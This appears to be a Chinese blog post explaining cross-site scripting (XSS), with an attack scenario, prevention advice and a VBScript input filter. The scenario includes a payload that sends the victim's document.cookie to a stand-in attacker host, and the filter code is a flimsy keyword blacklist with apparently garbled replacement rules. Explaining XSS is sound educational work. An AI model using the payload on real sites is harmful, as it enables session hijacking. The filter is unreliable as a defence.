美文网首页
Web应用安全 二 XSS攻击

Web应用安全 二 XSS攻击

作者: 何拾八 | 来源:发表于2017-08-02 15:26 被阅读38次

XSS攻击(跨站脚本)

当应用程序收到含有不可信的数据,在没有进行适当的验证和转义的情况下,就将它发送给一个网页浏览器,或者使用可以创建javaScript脚本的浏览器API利用用户提供的数据更新现有网页,这就会产生跨站脚本攻击。XSS允许攻击者在受害者的浏览器上执行脚本,从而劫持用户会话、危害网站或者将用户重定向到恶意网站。

XSS攻击

我存在XSS漏洞吗?

如果你的服务器端代码使用用户提供的输入作为HTML输出的一部分,而你不要使用敏感的转义,以确保它不能运行,那么你就存在了服务器端XSS漏洞。如果一个网页使用JavaScript来动态添加攻击者—可控的数据到一个网页,你可能有客户端XSS。理想情况下,最好避免将攻击者可控的数据发送到不安全的JavaScriptAPI,也可以通过转义(在较小程度上)输入验证加强安全。
自动化工具能够自动找到一些跨站脚本漏洞。然而,每一个应用程序使用不同的方式生成输出页面,并且使用不同的浏览器端解释器,如JavaScript、ActiveX、Flash和Silverlight,这使得自动检测变得很困难。通常使用建立在这些库之上的第三方库,这种多样性使得自动化检测困难,特别是使用现代单页应用程序时功能强大的JavaScript框架和库。因此,要想达到全面覆盖,须使用结合的方式,在自动检测的基础上,采用人工代码审核和手动渗透测试。

攻击案例场景

应用程序在下面HTML代码段的构造中使用未经验证或转义的不可信的数据:
(String)page+="<inputname='creditcard'type='TEXT‘value='"+request.getParameter("CC")+"'>";
攻击者在浏览器中修改“CC”参数为如下值:
'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.
这个攻击导致受害者的会话ID被发送到攻击者的网站,使得攻击者能够劫持用户当前会话。
请注意攻击者同样能使用跨站脚本攻破应用程序可能使用的任何跨站请求伪造(CSRF)防御机制。

如何防止XSS?

防止XSS需要将不可信数据与动态的浏览器内容区分开。

  1. 为了避免服务器XSS,最好的办法是根据数据将要置于的HTML上下文(包括主体、属性、JavaScript、CSS或URL)对所有的不可信数据进行恰当的转义(escape)。
  2. 为了避免客户端XSS,最好的选择是避免传递不受信任的数据到JavaScript和可以生成活动内容的其他浏览器API。如果这种情况不能避免,可以采用OWASPDOMbasedXSSPreventionCheatSheet描述的类似上下文敏感的转义技术应用于浏览器API。
  3. 通常防止脚本如下:
Function XSSRequest(id)
XSSRequest=checkXSS_II(Request(id),3) '3代表循环次数,用递归更合理
end function

function checkXSS_II(strHTML,times) '<scr<script>ipt>alert('456');</script> 防止嵌套多个<script>
    If Isnull(strHTML) Then
        checkXSS_II = ""
        Exit Function 
    End If
    for cx=1 to times
        strHTML=checkXSSF(strHTML)
    next 
    checkXSS_II=strHTML 
end function

Function checkXSSF(strHTML)
    If Isnull(strHTML) Then
        checkXSSF = ""
        Exit Function 
    End If  

    'strHTML=server.HTMLEncode (strHTML)
    
    Dim objRegExp,strOutput,Matches    
    Set objRegExp=New Regexp   
    objRegExp.IgnoreCase=true   
    objRegExp.Global=True  
 
    objRegExp.Pattern = Chr(0)
    strOutput = objRegExp.Replace(strHTML, "")  
    objRegExp.Pattern = "<" 
    strOutput = objRegExp.Replace(strOutput, "")
    objRegExp.Pattern = "<script>"
    strOutput = objRegExp.Replace(strOutput, "")
    objRegExp.Pattern = "</script>"
    strOutput = objRegExp.Replace(strOutput, "")
    objRegExp.Pattern = "<script"      
    strOutput = objRegExp.Replace(strOutput, "")
    objRegExp.Pattern = "</script"  
    strOutput = objRegExp.Replace(strOutput, "")
    objRegExp.Pattern = "script>"
    strOutput = objRegExp.Replace(strOutput, "")
    objRegExp.Pattern = ">"  
    strOutput = objRegExp.Replace(strOutput, "")
    objRegExp.Pattern = """ 
    strOutput = objRegExp.Replace(strOutput, """")
    objRegExp.Pattern = "<object"
    strOutput = objRegExp.Replace(strOutput, "")
    objRegExp.Pattern = "</object>"
    strOutput = objRegExp.Replace(strOutput, "")
    objRegExp.Pattern = "<"
    strOutput = objRegExp.Replace(strOutput, "<")
    objRegExp.Pattern = ">"
    strOutput = objRegExp.Replace(strOutput, ">")
    strOutput = Replace(strOutput,"alert(","")
    checkXSSF =strOutput
    Set objRegExp=Nothing   
End Function


相关文章

  • 《大型网站技术架构》笔记:架构之安全

    网站应用的攻击和防御 Web应用主要面对XSS攻击、SQL注入、CSRF和Session劫持等安全问题。 XSS攻...

  • XSS 攻击防守

    最常见的攻击xss 什么是xss? 为什么是xss? 开放式Web应用程序安全项目(Open Web Applic...

  • XSS攻击

    什么是XSS? XSS攻击中文全称“跨站脚本攻击”。XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用...

  • 前端安全

    XSS XSS攻击全称跨站脚本攻击,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提...

  • Web应用安全 二 XSS攻击

    XSS攻击(跨站脚本) 当应用程序收到含有不可信的数据,在没有进行适当的验证和转义的情况下,就将它发送给一个网页浏...

  • 前端安全以及如何防范

    一、XSS攻击 1.什么是XSS攻击? XSS攻击全称跨站脚本攻击,是一种经常出现在web应用中的计算机安全漏洞,...

  • 项目中防御XSS攻击

    1.什么是XSS攻击 XSS攻击全称是跨站脚本攻击,是经常出现在web应用中的安全漏洞,它允许恶意web用户将代码...

  • xss攻击

    前端安全之XSS攻击 XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重...

  • XSS盗取cookie

    XSS定义 XSS是一种比较容易出现的安全漏洞,也是web比较常见的web攻击方式。XSS是指攻击者利用网络没有对...

  • 21.浅谈前端WEB安全性(二)

    (二)浅谈前端WEB安全性5.XSS防御6.XSS分类及挖掘方法 5.XSS防御 一.概述 攻击者可以利用XSS漏...

网友评论

      本文标题:Web应用安全 二 XSS攻击

      本文链接:https://www.haomeiwen.com/subject/ijdjlxtx.html